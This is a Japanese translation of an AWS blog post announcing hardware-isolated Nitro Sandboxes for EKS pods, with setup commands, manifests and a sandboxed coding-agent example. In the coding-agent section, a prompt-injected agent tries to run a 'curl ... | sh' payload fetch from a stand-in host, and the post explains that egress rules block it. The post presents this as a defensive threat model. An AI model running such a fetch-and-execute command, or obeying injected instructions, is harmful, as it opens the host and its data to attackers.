AWS Nitro Sandboxes: Amazon EKS で実現するハードウェア強制型ワークロード分離

本ブログは 2026 年 11 月 9 日に公開された AWS Blog “AWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKS” を翻訳したものです。

エージェンティック AI、マルチテナント SaaS、規制対象のワークロードを、専用の Amazon Elastic Compute Cloud (Amazon EC2) インスタンスと同等の分離と、Kubernetes ポッドのシンプルさを両立した環境で実行できます。Nitro Sandboxes は、EC2 インスタンス同士を分離しているのと同じ Nitro System を基盤として、各ポッドにハードウェアで強制されるセキュリティ境界を提供します。

課題: 今なぜ分離が重要なのか

Kubernetes のコンテナはホストのオペレーティングシステムを共有します。そのおかげでコンテナは高速かつ軽量ですが、1 つのコンテナに脆弱性があると、同じマシン上の他のすべてのコンテナが侵害されるおそれもあります。一般的な回避策は、機密性の高いワークロードごとに専用のマシンを割り当てることです。この方法は有効ですが、コストがかかります。マシンの大部分がアイドル状態となり、無駄になるインフラストラクチャの費用を払ってセキュリティを確保することになるためです。

いくつかのトレンドにより、この回避策は限界を迎えつつあります。

AI エージェントが自らコードを記述して実行する: 実行前に人間がそのコードをレビューすることはありません。信頼できないコードがコンテナを抜け出せば、たった 1 つの悪意のあるプロンプトがホスト上でのラテラルムーブメント (横方向の侵害拡大) にまで発展し、シークレットの読み取りやコンテナイメージの汚染を許すおそれがあります。
SaaS プラットフォームが共有クラスター上で数百の顧客を抱える: 顧客ごとに Amazon EC2 インスタンス全体を専有させるのは、コスト面で現実的ではありません。独立系ソフトウェアベンダー (ISV) には、ある顧客が別の顧客のデータにアクセスしたり、リソースを枯渇させたりすることを防ぎながら、インフラストラクチャを安全に共有する方法が必要です。
規制業界では約束ではなく証明が求められる: HIPAA の対象となる医療機関、PCI DSS や SOX の規制を受ける金融機関、FedRAMP に準拠する必要がある政府機関では、ワークロードが改ざんされずに実行されたことを示す暗号学的な証拠がますます求められています。これらのフレームワークへの準拠状況を評価する監査人も、今では構成チェックリストではなく暗号学的な構成証明を求めるようになっています。
CI/CD とコンテナビルドが昇格された権限で実行される: こうした権限によりホストへの広範なアクセスが可能になるため、リスクを封じ込めるには専用のマシンが必要です。

これらの回避策はいずれも、共有カーネルにパッチを適用し続けることと、ワークロードを分離するためにインフラストラクチャへの支出を増やすことに依存しています。より良いアプローチは、あるワークロードで生じたカーネルの問題が、そもそも別のワークロードに及ばないアーキテクチャです。これなら、効率と分離をトレードオフにする必要はありません。自律型 AI エージェントは今や、機械ならではの速度で探索と適応を繰り返し、エクスプロイトを連鎖させます。その結果、共有カーネルのあらゆる弱点が、人間のチームではパッチ適用が追いつかないアタックサーフェスになっています。効率と安全性のトレードオフが、もはや不要になるとしたらどうでしょうか？

今回の発表内容

本日 (2026 年 11 月 9 日)、Amazon Elastic Kubernetes Service (Amazon EKS) 向けの AWS Nitro Sandboxes の提供を開始しました。これにより、ポッドで初めて強力なセキュリティ分離を実現できるようになります。

サンドボックス化されたポッドは、それぞれ専用の軽量仮想マシン (VM) 内で実行されます。この VM を支えているのは、すべての EC2 インスタンスを互いに分離しているのと同じ AWS Nitro System です。各ポッドは独自のオペレーティングシステムを持ち、ホストからも隣接するすべてのポッドからも完全に分離されます。ポッド内で問題が発生しても、システムコールがゲストカーネルの外部に及ぶことはありません。強力な分離が必要なワークロードは、それぞれに専用のマシンを用意しなくても、ハードウェア境界による保護を受けられるようになりました。

EKS Auto Mode では、ポッド仕様 (pod spec) を 1 行変更するだけで Nitro Sandboxes を有効にできます。コンテナイメージ、デプロイパイプライン、Helm チャートを変更する必要はありません。ポッドは引き続き、同じ AWS Identity and Access Management (IAM) の認証情報 (Amazon EKS Pod Identity)、同じストレージ (Amazon Elastic Block Store と Amazon Elastic File System)、同じモニタリング (Amazon CloudWatch)、同じネットワーキング (VPC CNI)、同じセキュリティツールを使用できます。kubectl exec、kubectl logs、kubectl port-forward もこれまでとまったく同じように動作します。標準の EKS を使用する場合の Nitro Sandboxes 用 AMI の構築方法は、ユーザーガイドで説明しています。

各サンドボックスは完全なオペレーティングシステムカーネルを実行するため、アプリケーションは標準のコンテナと同じように動作します。AWS Nitro Sandboxes は、Kubernetes のすべての適合性テスト (conformance test) に合格しています。

1 行追加するだけで、ポッドにハードウェアのセキュリティ境界が適用されます。それ以外はすべて、これまでとまったく同じように動作します。

仕組み

Nitro Sandboxes は、ポッドの分離の強さと、ノードを共有する際のパフォーマンスの予測可能性という 2 つの点を同時に変えます。

セキュリティと効率のどちらかを選ぶ必要はもうありません

これまで強力な分離を実現するには、1 台のマシンに 1 つのワークロードしか配置できませんでした。Nitro Sandboxes を使用すると、それぞれが独自の VM 境界を持つ多数の分離されたポッドを、1 つのノードに集約できます。ポッドを集約すると、もう 1 つの疑問が生じます。1 つのポッドが隣接するポッドのパフォーマンスを低下させることはないのでしょうか？各サンドボックスは独自に割り当てられた CPU とメモリのスライスで実行され、Nitro Hypervisor がそのスライスの境界をハードウェアレベルで強制します。そのため、EC2 ホストも隣接するポッドも、そのメモリや CPU の状態を読み取ることはできません。ネットワーク帯域幅、ディスク I/O、DNS クエリ、ログ出力、接続追跡 (conntrack) エントリなど、ポッドどうしがノード上で引き続き共有するリソースは、設定可能なスロットリングによってデフォルトで保護されています。暴走したエージェント、負荷の高いビルドジョブ、リソースを大量に消費するテナントは、隣接するポッドに影響を及ぼす前に、それぞれの上限に達して制限されます。AWS Nitro Sandboxes ではこれらの保護がデフォルトで有効になっているため、ノードごとにチューニングしなくても予測可能なパフォーマンスが得られます。

2 つのモード

分離モード (Isolated mode) は、各ポッドを専用の VM に配置します。コンテナ内で何が起きても、ホストと隣接するポッドを保護することが目的です。

機密モード (Confidential mode) はさらに踏み込み、マシンのオペレーターさえも信頼できない存在として扱います。暗号学的な構成証明により、サンドボックス内で実行されているコードが何であるかを正確に証明します。また、AWS Key Management Service (AWS KMS) は、システムイメージと設定済みの Cedar ポリシーを証明する構成証明ドキュメントが提示された場合にのみ復号を許可します。この設計により、クラスター管理者であってもポッドのメモリを読み取ることはできません。SaaS プロバイダーはテナントのデータがハードウェアで保護されていることを顧客に証明でき、規制業界の組織はドキュメントの代わりに暗号学的な証拠を監査人に提示できます。

ポッド起動時の動作。Nitro System は、すべての EC2 インスタンスを実行するハードウェアおよびハイパーバイザーです。インスタンス間の分離とホストからの分離を、ユーザー自身が設定する必要のあるソフトウェアではなく、専用のハードウェアで実現します。Nitro Sandboxes は EC2 の新機能を基盤としています。この機能により、Nitro Hypervisor は実行中のインスタンスから、ハードウェアで分離された CPU とメモリのスライスを切り出せます。Amazon EKS はそのスライスを使用して、サンドボックス化された各ポッドに専用の軽量 VM を提供します。ポッドの視点から見ると、処理はわずかなステップで進みます。

スケジューラが通常どおりポッドを配置します。RuntimeClass がノードセレクターと toleration を保持しているため、Auto Mode では、仕様に追加のフィールドを記述しなくても、ポッドはサンドボックス対応のノードに配置されます。
Amazon EKS がポッド用の軽量 VM を起動します。ノードのカーネル上でコンテナを起動する代わりに、コンテナランタイムが EC2 に Nitro Partition を要求し、その中で VM を起動します。これ以降は、Nitro Hypervisor が CPU とメモリの境界をハードウェアで強制します。ノードから VM の内部は見えず、VM からもノードや隣接するポッドは見えません。
コンテナはそのままの状態で VM 内で起動します。ゲスト内コンポーネントがポッド仕様とその Cedar ポリシーを受け取り、これから実行する内容がポリシーで許可されているかを確認したうえで、イメージをプルし、標準のコンテナランタイムでコンテナを起動します。イメージ、エントリポイント、環境は一切変わりません。
Kubernetes からは通常のポッドに見えます。ログ、exec、port-forward、プローブ、メトリクスは内部の制御チャネルを通じて kubelet に返されます。また、Pod Identity の認証情報、CSI ボリューム、Amazon Virtual Private Cloud (Amazon VPC) のネットワーキングは、通常のポッドと同じ方法で VM 内に提供されます。

機密モードでは、この流れに構成証明が加わります。Nitro Security Module はサンドボックス内で起動したものを測定し、ワークロードが AWS KMS に提示する構成証明ドキュメントに署名します。これにより、シークレットは想定どおりのイメージとポリシーを実行しているサンドボックスにのみ渡されます。具体的な仕組みは、本記事に続く詳細解説記事で取り上げます。

Isolation boundary: a sandboxed pod runs inside a lightweight VM in a Nitro Partition on an EKS node, while the node’s kubelet still sees an ordinary pod.

図 1: 分離境界。サンドボックス化されたポッドは、Nitro Partition 内の軽量 VM で実行されます。ノードの kubelet からは、引き続き通常のポッドとして認識されます。

開始方法

最も手早い方法は EKS Auto Mode を使用することです。EKS Auto Mode では、アドオンをインストールしなくてもすべてのクラスターにランタイムクラスが用意されており、Auto Mode がサンドボックス対応のノードをオンデマンドでプロビジョニングします。独自のノードグループや Karpenter を使用して標準の EKS を実行している場合も、ノードでサンドボックス対応の AMI を実行すれば、同じポッド仕様がそのまま機能します。Nitro Sandboxes 用の AMI の構築手順は、ユーザーガイドで説明しています。

ステップ 1: Auto Mode クラスターを作成します。どの Auto Mode クラスターでも使用できます。eksctl を使用するのが最も簡単です。Nitro Sandboxes には Kubernetes バージョン 1.36 以降が必要なため、--version を指定します。

eksctl create cluster --name sandbox-demo --region us-west-2 --version 1.37 --enable-auto-mode

ステップ 2: ランタイムクラスが存在することを確認します。インストール作業は不要です。両方のクラスがクラスターに標準で含まれています。

$ kubectl get runtimeclass
NAME                   HANDLER                AGE
confidential-sandbox   confidential-sandbox   5m
isolated-sandbox       isolated-sandbox       5m

ステップ 3: サンドボックス化されたポッドを初めて実行します。

オプトインに必要なのは runtimeClassName: isolated-sandbox の 1 行だけです。ノードセレクターも toleration もサイドカーも不要です。スケジューリングの制約は RuntimeClass が保持しており、利用可能なサンドボックス対応のノードがない場合は、Auto Mode がそのようなノードを起動します。

apiVersion: v1
kind: Pod
metadata:
  name: hello-sandbox
spec:
  runtimeClassName: isolated-sandbox   # <-- the only change
  containers:
    - name: hello
      image: public.ecr.aws/amazonlinux/amazonlinux:2023
      command: ["sh", "-c"]
      args:
        - |
          echo "/sys/class/dmi/id/product_name:  $(cat /sys/class/dmi/id/product_name )"
          echo "disks:   $(ls /sys/block | tr '\n' ' ')"
          sleep infinity

ポッドマニフェストを記述した hello-sandbox.yaml という名前のファイルを作成し、次のコマンドを実行します。

$ kubectl apply -f hello-sandbox.yaml
$ kubectl wait pod/hello-sandbox --for=condition=Ready --timeout=300s
$ kubectl logs hello-sandbox

ポッド自身のログから、ポッドが VM 内に配置されたことを確認できます。出力には 8i.enclave と表示されます。.enclave サフィックスは、コンテナが AWS Nitro Sandbox 内で実行されていることを示しています。また、ゲスト VM からは vda、vdb、vdc という名前の virtio ブロックデバイスが見えます。一方、同じノード上の通常のポッドからは、インスタンスのディスク (nvme0n1 nvme1n1 zram0) が見えます。

AWS Nitro Sandboxes を有効にするには、ポッドのフィールドを 1 つ設定するだけです。isolated-sandbox を confidential-sandbox に変更すると、同じポッドが、ノードを信頼できないものとして扱うモードで実行されます (その場合は Cedar ポリシーと AWS KMS の構成証明条件を使用します。詳細はユーザーガイドを参照してください)。sandbox.amazonaws.com/network-isolated: "true" アノテーションを追加すると、VM はループバック以外のネットワークを持たない状態で起動します。他のインターフェイスにはアドレスが割り当てられず、外部へのルートも存在しません。

実際のワークロード: なぜ重要なのか

前述の「hello world」では、分離境界が存在することを確認しました。この例では、それがなぜ重要なのかを示します。ここでは、実際の AI コーディングエージェントを実行します。このエージェントは GitHub の issue を読み、修正を記述し、テストを実行して、プルリクエストを作成します。これらはすべて Nitro Sandbox 内で行われるため、エージェントが何をしても、その影響範囲 (blast radius) はジョブ完了時に削除される 1 つの VM に限定されます。

なぜ重要なのか: コーディングエージェントは任意のコードを実行し、インターネットと通信します。これはまさに、プロンプトインジェクションによってデータ流出へと転じる組み合わせです。分離がなければ、侵害されたエージェントはノード上のあらゆるもの、つまり他のテナントのワークロード、認証情報、ネットワークにアクセスできてしまいます。Nitro Sandbox 内では、ポッド仕様、IAM ロール、トークン、エグレス (送信方向の通信) のポリシーという、宣言されたいくつかのオブジェクトがそのままセキュリティポリシーとなり、エージェントがアクセスできる対象を正確に把握できます。

モデルへのアクセス: Amazon Bedrock を Pod Identity 経由で使用し、スコープは bedrock:InvokeModel* のみに限定されます。長期間有効な API キーは使用しません。
リポジトリへのアクセス: Secret としてマウントされた、有効期間が短く、きめ細かな権限を持つトークン (fine-grained token) を通じて、1 つの GitHub リポジトリにのみアクセスします。権限は、[Contents] と [Pull requests] の読み取りと書き込み、および [Issues] の読み取りです。エージェントがプッシュや PR の作成を行えるのは、このリポジトリだけです。なお、GitHub App トークンを使用しない限り、GitHub 上ではその PR はトークンの所有者が作成したものとして表示されます。
その他はすべて拒否: EKS Auto Mode の ApplicationNetworkPolicy により、エグレスとして許可されるのは CoreDNS と、Amazon Bedrock および GitHub のホスト名に対する HTTPS のみです (標準の Kubernetes NetworkPolicy ではホスト名を照合できません)。このポリシーは、amazon-vpc-cni ConfigMap (kube-system 内) で enable-network-policy-controller: "true" を設定すると適用されます。他の AWS API、他のインターネットホスト、隣接するポッドへの通信は拒否されます (ただし、許可されたホスト名と同じアドレスを使用する別のホスト名にも到達できます)。github.com 全体に到達できるため、プッシュやプライベートリポジトリの読み取りを制限しているのは、スコープを限定したトークンです。

Egress paths for the coding agent: besides DNS lookups, two paths leave the VM, Amazon Bedrock through Pod Identity and GitHub through a scoped token. Everything else is denied.

図 2: コーディングエージェントと、エージェントがアクセスを許可されているすべての宛先。DNS ルックアップ以外に VM から外部へ向かう経路は、Pod Identity を介した Amazon Bedrock と、スコープを限定したトークンを介した GitHub の 2 つだけです。その他はすべて拒否されます。

エージェントがプロンプトインジェクションを受けて curl https://example.com/payload.sh | sh を実行しようとしても、接続は確立されません。example.com はエグレスリストに含まれていないためです。ポッドが終了すると VM は破棄されるため、次回の実行に状態が持ち越されることはありません。

重要なポイント: Claude Code は、自身がサンドボックス内にいることを認識していません。Claude Code から見えるのは、シェル、リポジトリ、モデルだけです。分離はアプリケーションからは見えない一方で、プラットフォームチームからは明示的に把握できます。

次の例を実行するには、AWS Nitro Sandboxes on Amazon EKS のブループリントリポジトリをクローンします。

git clone https://github.com/aws-samples/sample-eks-nitro-sandbox
cd sample-eks-nitro-sandbox/examples/getting-started/coding-agent/

README.md の手順に従ってください。このディレクトリには、次のポッドマニフェストファイル fix-issue.yaml が含まれています。

apiVersion: v1
kind: Pod
metadata:
  name: fix-issue-<ISSUE_NUMBER>
  labels: { app: coding-agent }
spec:
  runtimeClassName: isolated-sandbox
  serviceAccountName: coding-agent          # Pod Identity -> bedrock:InvokeModel*
  restartPolicy: Never
  containers:
    - name: claude
      image: <ACCOUNT_ID>.dkr.ecr.us-west-2.amazonaws.com/coding-agent:latest
      env:
        - { name: CLAUDE_CODE_USE_BEDROCK, value: "1" }
        - { name: AWS_REGION,              value: us-west-2 }
        - { name: ANTHROPIC_MODEL,         value: "us.anthropic.claude-sonnet-5-5" }
        - { name: REPO_URL,                value: https://github.com/<GITHUB_OWNER>/<GITHUB_REPO> }
        - { name: ISSUE_NUMBER,            value: "<ISSUE_NUMBER>" }
      volumeMounts:
        - { name: git-token, mountPath: /var/run/secrets/git, readOnly: true }
      command: ["/entrypoint.sh"]
      args:
        - |
          Read GitHub issue #$(ISSUE_NUMBER) in this repository. Reproduce the bug
          with a failing test, fix it with the smallest change that makes the
          test pass, run the full test suite, then commit on a branch named
          agent/issue-$(ISSUE_NUMBER) and open a pull request that references
          the issue and explains the root cause.
  volumes:
    - name: git-token
      secret: { secretName: coding-agent-git-token }

エントリポイントスクリプトの entrypoint.sh は、マウントされたトークンを使用してリポジトリをクローンし、claude -p "$1" --allowedTools "Bash,Edit,Read,Write" を非対話モードで実行した後、ブランチをプッシュしてプルリクエストを作成します。サンプルコードには、Dockerfile のほか、イメージをプッシュし、IAM ロール、トークンの Secret、エグレスポリシーを作成する手順が含まれています。これらを完了し、ACCOUNT_ID、GITHUB_OWNER、GITHUB_REPO、ISSUE_NUMBER をシェルの環境変数としてエクスポートしたら、プレースホルダーを置き換えてポッドを起動し、ログを追跡します (出力は一部省略しています。エージェントによる要約は実行ごとに異なります)。

$ sed -e "s|<ACCOUNT_ID>|$ACCOUNT_ID|" -e "s|<GITHUB_OWNER>|$GITHUB_OWNER|" \
    -e "s|<GITHUB_REPO>|$GITHUB_REPO|" -e "s|<ISSUE_NUMBER>|$ISSUE_NUMBER|g" \
    fix-issue.yaml | kubectl apply -f -
$ until kubectl get pod fix-issue-$ISSUE_NUMBER -o jsonpath='{.status.phase}' \
    | grep -Eq '^(Running|Succeeded|Failed)$'; do sleep 2; done
$ kubectl logs -f fix-issue-$ISSUE_NUMBER

Cloning your-github-user/example-app ...
Reading issue #1: "date parser drops timezone on ISO-8601 input"
Running Claude Code ...
I fixed the bug and opened a pull request: <PR_URL>. The full suite passes (4 tests). [...]
- **Root cause:** `parse_iso8601` cut the input down to its first 19 characters and parsed that with `strptime`. [...]
- **Reproduction:** I added two tests to `tests/test_dates.py`, one for a numeric offset and one for `Z`. Both failed before the fix.
- **Fix:** `src/dates.py` now calls `datetime.fromisoformat(value)`, which keeps the offset and accepts `Z`. Naive inputs still come back naive.
Pushed agent/issue-1 ... pull request already open: <PR_URL>

シェルは他のテナントと共有しないカーネル上で実行され、モデルへのアクセスには IAM ロール、git へのアクセスにはスコープを限定した 1 つのトークンを使用し、ポッドが終了すると VM は破棄されます。セキュリティモデルはこれだけです。宣言した内容を見ればすべてを把握でき、VM 境界はハードウェアによって強制されます。

統合: Nitro Sandboxes の位置付け

Nitro Sandboxes は Kubernetes の RuntimeClass であり、新しい API ではありません。ポッドテンプレートを生成するツール、コントローラー、プラットフォームであれば、フィールドを 1 つ設定するだけで、ワークロードをハードウェアで分離された VM 内で実行できます。つまり、Nitro Sandboxes はお客様が既に使用しているツールと競合するものではなく、分離レイヤーとしてそれらのツールの下層に組み込まれます。

エージェントフレームワークとコーディングハーネスはそのまま動作します。既存のエージェント (Claude Code、Codex、Strands、OpenCode、またはその他のハーネス) をコンテナとしてパッケージ化し、RuntimeClass を追加するだけで、コードを変更することなく、ポッドごとの VM 内で実行できます。AWS は、お客様が普段使っているツールが対象に含まれるよう、さまざまなコーディングハーネスやエージェントアシスタントでこれを検証しました。

インタラクティブなワークロード向けのウォームプール。Kubernetes SIG のプロジェクトである agent-sandbox は、任意の分離ランタイム上にウォームプール管理の機能を追加します。agent-sandbox で Nitro Sandboxes を指定すると、事前に起動された VM が待機し、約 2 秒で割り当てられます。バックグラウンドで VM が補充されるため、コールドスタートの遅延は表に出ません。レイテンシーの影響を受けやすいエージェントセッションには、この方法をお勧めします。

セルフホスト型のマネージドエージェント。Anthropic、OpenAI、Cursor は現在、推論ループは各社のクラウドで実行し、ツールの実行はお客様のインフラストラクチャで行うモードを提供しています。Nitro Sandboxes は、こうしたモードと自然に組み合わせられます。ベンダーがお客様のコードやネットワークに触れることはなく、モデルが要求するすべてのコマンドは、スコープが限定されたアイデンティティとオプションのネットワーク分離を備えた、ハードウェアで分離された VM 内で実行されます。

CI/CD と AI ソフトウェアファクトリー。docker build を実行するビルドジョブや、エージェント駆動のパイプラインでは、信頼できないコードが昇格された権限で実行されるため、これまでは専用のノードグループが必要でした。Nitro Sandboxes を使用すれば、こうしたジョブの特権操作をポッドごとの VM 内で実行できます。AWS は、GitLab Runner と本格的な AI ソフトウェアファクトリーでこの構成を構築しました。この AI ソフトウェアファクトリーでは、issue からマージ済み PR に至るまでのコード作成を、エージェントがすべてサンドボックス内で進めます。

永続的なオーケストレーション。長時間実行されるエージェントワークフローには、再起動後も存続するオーケストレーションレイヤーが必要です。AWS は、Temporal が Nitro Sandboxes をファーストクラスのコンピューティングプロバイダーとして扱い、タスクごとに VM をプロビジョニングして処理を実行し、完了後に回収できることを検証しました。

リモート IDE とマルチテナント SaaS。開発者環境とは、いわば人間がキーボードを操作するエージェントワークロードです。任意のコードを実行し、任意のネットワークにアクセスするため、同様の分離が必要です。ブラウザベースの VS Code や Kiro CLI のワークスペースをサンドボックス内で実行すれば、各ユーザーに、抜け出すことのできない VM 内で完全な IDE を提供できます。同じ特性は、マルチテナント SaaS の基盤にもなります。多数のテナントを 1 つのノードにビンパッキングし、それぞれを専用の VM で実行することで、証明可能な分離と、インフラストラクチャ共有による経済性を両立できます。

今すぐお試しください

Nitro Sandboxes for Amazon EKS は現在、すべての AWS 商用リージョンにおいて、Nitro に対応したすべてのインスタンスファミリー (Intel、AMD、Graviton) で利用できます。EKS Auto Mode では、すべてのクラスターにランタイムクラスが標準で含まれています。次に作成するポッド仕様に runtimeClassName: isolated-sandbox を追加すれば、1 分もかからずに、ハードウェアで強制された境界内でワークロードを実行できます。

詳細を確認して使用を開始するには、以下を参照してください。

著者について

本ブログは Security Solutions Architect の中島章博が翻訳しました。

Amazon Web Services ブログ